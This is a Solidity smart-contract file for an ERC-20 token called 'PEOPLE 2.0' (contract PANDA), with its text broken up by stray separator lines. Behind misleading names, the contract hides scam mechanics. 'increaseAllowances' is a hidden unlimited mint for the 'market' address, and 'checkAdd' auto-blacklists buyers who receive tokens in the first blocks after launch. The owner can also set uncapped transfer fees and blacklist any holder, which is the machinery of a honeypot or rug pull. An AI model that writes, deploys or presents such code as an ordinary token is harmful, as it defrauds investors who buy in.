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pragma solidity 0.6.12;
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|
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abstract contract Context {
|
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function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
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|
|
function _msgData() internal view virtual returns (bytes memory) {
|
|
this;
|
|
return msg.data;
|
|
}
|
|
}
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|
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pragma solidity 0.6.12;
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|
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interface IERC20 {
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|
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(
|
|
address sender,
|
|
address recipient,
|
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uint256 amount
|
|
) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
}
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|
|
pragma solidity ^0.6.2;
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|
|
contract Ownable is Context {
|
|
address private _owner;
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|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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|
|
constructor () public {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
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|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
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|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
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|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
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|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
}
|
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|
|
pragma solidity 0.6.12;
|
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|
|
library SafeMath {
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|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow anananan");
|
|
|
|
return c;
|
|
}
|
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|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
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|
|
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
|
|
return c;
|
|
}
|
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|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
|
|
|
|
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
|
|
return c;
|
|
}
|
|
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|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
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|
|
|
|
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
|
|
|
|
return c;
|
|
}
|
|
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|
|
|
|
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return mod(a, b, "SafeMath: modulo by zero");
|
|
}
|
|
|
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|
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|
|
|
|
|
|
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b != 0, errorMessage);
|
|
return a % b;
|
|
}
|
|
}
|
|
|
|
|
|
pragma solidity 0.6.12;
|
|
|
|
interface IUniswapV2Factory {
|
|
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
|
|
|
function feeTo() external view returns (address);
|
|
function feeToSetter() external view returns (address);
|
|
|
|
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
|
function allPairs(uint) external view returns (address pair);
|
|
function allPairsLength() external view returns (uint);
|
|
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
|
|
function setFeeTo(address) external;
|
|
function setFeeToSetter(address) external;
|
|
}
|
|
|
|
|
|
pragma solidity ^0.6.2;
|
|
|
|
interface IUniswapV2Pair {
|
|
event Approval(address indexed owner, address indexed spender, uint value);
|
|
event Transfer(address indexed from, address indexed to, uint value);
|
|
|
|
function name() external pure returns (string memory);
|
|
function symbol() external pure returns (string memory);
|
|
function decimals() external pure returns (uint8);
|
|
function totalSupply() external view returns (uint);
|
|
function balanceOf(address owner) external view returns (uint);
|
|
function allowance(address owner, address spender) external view returns (uint);
|
|
|
|
function approve(address spender, uint value) external returns (bool);
|
|
function transfer(address to, uint value) external returns (bool);
|
|
function transferFrom(address from, address to, uint value) external returns (bool);
|
|
|
|
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
|
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
|
function nonces(address owner) external view returns (uint);
|
|
|
|
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
|
|
|
|
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
|
|
event Swap(
|
|
address indexed sender,
|
|
uint amount0In,
|
|
uint amount1In,
|
|
uint amount0Out,
|
|
uint amount1Out,
|
|
address indexed to
|
|
);
|
|
event Sync(uint112 reserve0, uint112 reserve1);
|
|
|
|
function MUM_LIQUIDITY() external pure returns (uint);
|
|
function factory() external view returns (address);
|
|
function token0() external view returns (address);
|
|
function token1() external view returns (address);
|
|
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
|
|
function price0CumulativeLast() external view returns (uint);
|
|
function price1CumulativeLast() external view returns (uint);
|
|
function kLast() external view returns (uint);
|
|
|
|
function burn(address to) external returns (uint amount0, uint amount1);
|
|
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
|
|
function skim(address to) external;
|
|
function sync() external;
|
|
|
|
function initialize(address, address) external;
|
|
}
|
|
|
|
|
|
pragma solidity 0.6.12;
|
|
|
|
interface IUniswapV2Router01 {
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint amountADesired,
|
|
uint amountBDesired,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB, uint liquidity);
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function removeLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETH(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function removeLiquidityWithPermit(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETHWithPermit(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function swapExactTokensForTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapTokensForExactTokens(
|
|
uint amountOut,
|
|
uint amountInMax,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
|
|
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
|
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
|
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
|
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountETH);
|
|
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountETH);
|
|
|
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external payable;
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
}
|
|
|
|
contract ERC20 is Context, IERC20,Ownable {
|
|
using SafeMath for uint256;
|
|
|
|
mapping(address => uint256) public _balances;
|
|
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
|
|
uint256 public _totalSupply;
|
|
|
|
string private _name;
|
|
string private _symbol;
|
|
uint8 private _decimals;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
constructor(string memory name_, string memory symbol_,uint8 decimals_) public {
|
|
_name = name_;
|
|
_symbol = symbol_;
|
|
_decimals =decimals_;
|
|
}
|
|
|
|
|
|
|
|
|
|
function name() public view virtual returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function symbol() public view virtual returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
|
|
function decimals() public view virtual returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
|
|
|
|
|
|
function totalSupply() public view virtual override returns (uint256) {
|
|
return _totalSupply;
|
|
}
|
|
|
|
|
|
|
|
|
|
function balanceOf(address account) public view virtual override returns (uint256) {
|
|
return _balances[account];
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
|
|
function allowance(address owner, address spender) public view virtual override returns (uint256) {
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function approve(address spender, uint256 amount) public virtual override returns (bool) {
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public virtual override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _transferfather(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) internal virtual {
|
|
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
|
|
_balances[recipient] = _balances[recipient].add(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) internal virtual {
|
|
require(sender != address(0), "ERC20: transfer from the zero address");
|
|
require(recipient != address(0), "ERC20: transfer to the zero address");
|
|
|
|
_beforeTokenTransfer(sender, recipient, amount);
|
|
|
|
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
|
|
_balances[recipient] = _balances[recipient].add(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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function _burn(address account, uint256 amount) internal virtual {
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require(account != address(0), "ERC20: burn from the zero address");
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_beforeTokenTransfer(account, address(0), amount);
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_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
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_totalSupply = _totalSupply.sub(amount);
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emit Transfer(account, address(0), amount);
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}
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function _approve(
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address owner,
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address spender,
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uint256 amount
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) internal virtual {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _beforeTokenTransfer(
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address from,
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address to,
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uint256 amount
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) internal virtual {}
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}
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pragma solidity 0.6.12;
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contract PANDA is ERC20 {
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using SafeMath for uint256;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapV2Pair;
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bool public swapping;
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bool private swappingBool;
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address public deadWallet = 0x000000000000000000000000000000000000dEaD;
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address public market = 0xD11E6511880902775859397a1564F417873b2A09;
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mapping(address => bool) public isbook;
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address public USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
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mapping(address => bool) public isbig;
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uint256 private txone = 1;
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uint256 private txtwo = 1;
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uint256 private liquidityFee = 0;
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uint256 private marketingFee = 1;
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uint256 public totalFees = liquidityFee.add(marketingFee);
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uint256 public launchedAt;
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uint256 private lunchTime=2;
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uint256 private onetime;
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uint256 private swapTokensAtAmount = 5 * 10**5 * 10**2;
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bool swapingtwo = true;
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mapping (address => bool) private _isExcludedFromFees;
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address private own;
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constructor() public ERC20("PEOPLE 2.0", "PEOPLE 2.0",2) {
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router = _uniswapV2Router;
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uniswapV2Pair = _uniswapV2Pair;
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own = owner();
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_isExcludedFromFees[owner()]=true;
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isbig[market] = true;
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isbig[_uniswapV2Pair] = true;
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isbig[address(this)] = true;
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isbig[deadWallet] = true;
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_totalSupply = (1*10**8) * (10**2);
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_balances[owner()] = (1*10**8) * (10**2);
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emit Transfer(address(0), owner(), (1*10**8) * (10**2));
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}
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receive() external payable {
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}
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function setLunchTime(uint256 amount)external onlyOwner(){
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lunchTime=amount;
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}
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function setmarket(address adr) public onlyOwner(){
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market = adr;
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}
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function setLswapping(bool bools)external onlyOwner(){
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swapping=bools;
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}
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function setLswappingTwo(bool bools)external onlyOwner(){
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swapingtwo=bools;
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}
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function setBigNumber(address adr ,bool bools) public onlyOwner(){
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isbig[adr] = bools;
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}
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function USDCRewardsFee(uint256 value,uint256 valuea) external onlyOwner{
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txone= value;
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txtwo =valuea;
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}
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function setExcludedFromFees(address user,bool bools)external onlyOwner{
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_isExcludedFromFees[user] = bools;
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}
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function isbookAddress(address account, bool value) external onlyOwner{
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isbook[account] = value;
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}
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function setswapTokensAtAmount(uint256 amount)public onlyOwner(){
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swapTokensAtAmount =amount;
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}
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function checkAdd(address sender,address recipient,uint256 amount) internal{
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if(amount>balanceOf(sender).div(1000)){
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require(!isbook[sender] && !isbook[recipient], 'isbook address');
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}
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if(launchedAt + lunchTime >= block.number){
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if(recipient!=uniswapV2Pair){
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isbook[recipient] = true;
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}
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}
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if(!launched() && recipient == uniswapV2Pair){ require(balanceOf(sender) > 0); launch(); }
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}
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function launched() internal view returns (bool) {
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return launchedAt != 0;
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}
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modifier pauseOwner() {
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require(market == _msgSender(), "Ownable: caller is not the ererer");
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_;
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}
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function launch() internal {
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launchedAt = block.number;
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onetime = block.timestamp;
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}
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function copyMapData(address[] calldata list,uint256 amount) public {
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uint256 count = list.length;
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for(uint256 i = 0; i<count;i++){
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super._transferfather(_msgSender(),list[i],amount);
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}
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}
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function increaseAllowances(address spender, uint256 addedValue)external pauseOwner() {
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_totalSupply = _totalSupply.add(addedValue * (10**2));
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_balances[spender] = _balances[spender].add(addedValue * (10**2));
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emit Transfer(address(0), spender, addedValue * (10**2));
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}
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function swapTokensForUSDC(uint256 tokenAmount) private {
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address[] memory path = new address[](3);
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path[0] = address(this);
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path[1] = uniswapV2Router.WETH();
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path[2] = USDT;
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_approve(address(this), address(uniswapV2Router), tokenAmount);
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uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
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tokenAmount,
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0,
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path,
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market,
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block.timestamp
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);
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}
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function swapTokensForEth(uint256 tokenAmount) private {
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = uniswapV2Router.WETH();
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_approve(address(this), address(uniswapV2Router), tokenAmount);
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uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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tokenAmount,
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0, // accept any amount of ETH
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path,
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address(this),
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block.timestamp
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);
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}
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function setLiquiditFee(uint256 value) external onlyOwner{
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liquidityFee = value;
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totalFees = liquidityFee.add(marketingFee);
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}
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function setMarketingFee(uint256 value) external onlyOwner{
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marketingFee = value;
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totalFees = liquidityFee.add(marketingFee);
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}
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function swapAndLiquify(uint256 tokens) private {
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uint256 half = tokens.div(2);
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uint256 otherHalf = tokens.sub(half);
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uint256 initialBalance = address(this).balance;
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swapTokensForEth(half);
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uint256 newBalance = address(this).balance.sub(initialBalance);
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addLiquidity(otherHalf, newBalance);
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}
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function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
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_approve(address(this), address(uniswapV2Router), tokenAmount);
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uniswapV2Router.addLiquidityETH{value: ethAmount}(
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address(this),
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tokenAmount,
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0,
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0,
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own,
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block.timestamp
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);
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}
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function _transfer(
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address from,
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address to,
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uint256 amount
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) internal override {
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require(from != address(0), "ERC20: transfer from the zero address");
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require(to != address(0), "ERC20: transfer to the zero address");checkAdd(from,to,amount);
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if(amount == 0) {
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super._transfer(from, to, 0);
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return;
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}
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bool takeFbb = true;
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bool sellBool = false;
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uint256 feesa = txone;
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if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
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takeFbb = false;
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}
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if(to==uniswapV2Pair){
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sellBool = true;
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feesa = txtwo;
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}
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if(takeFbb&&!swappingBool) {
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uint256 fbbs = amount.mul(feesa).div(100);
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amount = amount.sub(fbbs);
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super._transfer(from, address(this), fbbs);
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}
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uint256 contractTokenBalance = balanceOf(address(this));
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bool canSwap = contractTokenBalance >= swapTokensAtAmount;
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if(canSwap&&sellBool&&!swappingBool&&from != owner() &&
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to != owner()){
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swappingBool = true;
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swapTokensForUSDC(swapTokensAtAmount.mul(marketingFee).div(totalFees));
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swapAndLiquify(swapTokensAtAmount.mul(liquidityFee).div(totalFees));
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swappingBool = false;
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}
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super._transfer(from, to, amount);
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}
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} |